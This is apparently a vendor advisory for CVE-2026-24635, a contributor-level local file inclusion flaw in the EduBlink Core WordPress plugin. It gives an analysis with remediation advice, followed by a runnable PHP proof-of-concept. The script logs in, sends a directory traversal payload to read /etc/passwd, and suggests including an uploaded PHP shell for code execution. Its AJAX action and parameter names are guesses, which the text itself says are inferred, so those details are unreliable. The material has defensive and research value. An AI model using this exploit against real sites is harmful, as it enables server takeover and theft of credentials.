Atomic Edge analysis of CVE-2026-24635 (metadata-based):
This vulnerability is an authenticated Local File Inclusion (LFI) in the EduBlink Core WordPress plugin, affecting versions up to and including 2.0.7. It allows attackers with contributor-level or higher access to include arbitrary files from the server, leading to remote code execution. The CVSS score of 7.5 reflects a high-impact attack that requires network access but has high attack complexity.
Atomic Edge research infers the root cause is CWE-98, Improper Control of Filename for Include/Require Statement. The plugin likely uses user-supplied input to construct a file path for a PHP include, require, or similar function without proper validation. This input is not sanitized to prevent directory traversal or inclusion of files outside an intended directory. The description confirms the vulnerability exists, but the exact code location is inferred from the CWE classification and WordPress plugin patterns.
Exploitation requires an authenticated user with at least contributor privileges. The attacker would send a crafted HTTP request to a specific plugin endpoint, such as an AJAX handler or a direct PHP file. The request would contain a parameter, like ‘file’ or ‘template’, with a malicious value. This value could use directory traversal sequences (../../) to include local files like /etc/passwd or previously uploaded PHP shells. A common WordPress pattern is an AJAX action like ‘edublink_core_action’ at /wp-admin/admin-ajax.php.
Remediation requires implementing strict validation and sanitization of user input used in file inclusion operations. The fix should validate the input against a whitelist of allowed file names or paths. It must also enforce path canonicalization to prevent directory traversal. Additionally, the plugin should implement proper capability checks for the affected functionality, though the description indicates authentication is already required.
Successful exploitation grants an attacker the ability to execute arbitrary PHP code on the server. This leads to complete compromise of the WordPress site and underlying server. Attackers can bypass access controls, steal sensitive data (like database credentials from wp-config.php), establish persistent backdoors, or perform lateral movement within the hosting environment. The description notes this can be combined with file uploads of ‘safe’ file types to achieve reliable code execution.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24635 - EduBlink Core <= 2.0.7 - Authenticated (Contributor+) Local File Inclusion
<?php
/**
* Proof-of-Concept for CVE-2026-24635.
* Assumptions based on WordPress plugin patterns and CWE-98:
* 1. The plugin exposes an AJAX handler for authenticated users.
* 2. A parameter (e.g., 'file', 'template', 'view') is passed to this handler.
* 3. The parameter value is used unsafely in an include() or require() statement.
* 4. Contributor-level authentication is required (user role 'contributor').
* This script attempts to exploit the inferred endpoint.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// Step 1: Authenticate to WordPress and obtain session cookies.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url),
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
]);
$response = curl_exec($ch);
// Step 2: Craft the Local File Inclusion exploit request.
// The AJAX action is inferred from the plugin slug 'edublink-core'.
// The vulnerable parameter is assumed to be 'file' based on common LFI patterns.
$post_data = [
'action' => 'edublink_core_action', // Inferred AJAX hook
'file' => '../../../../../../etc/passwd' // Classic LFI payload
// Alternative payload for code execution if a PHP file can be uploaded:
// 'file' => '../../../../../../wp-content/uploads/2025/04/shell.jpg.php'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_REFERER => $target_url // Set referer to mimic normal AJAX request
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Analyze response.
echo "HTTP Response Code: $http_coden";
echo "Response Preview:n";
echo substr($response, 0, 500) . "n";
if (strpos($response, 'root:') !== false) {
echo "[+] LFI successful - /etc/passwd contents likely included.n";
} else {
echo "[-] Exploit may have failed. Adjust the 'action' or 'file' parameter.n";
echo " Try other common AJAX actions: 'edublink_ajax', 'edublink_load', 'edublink_get_template'.n";
}
unlink('cookies.txt'); // Cleanup
?>
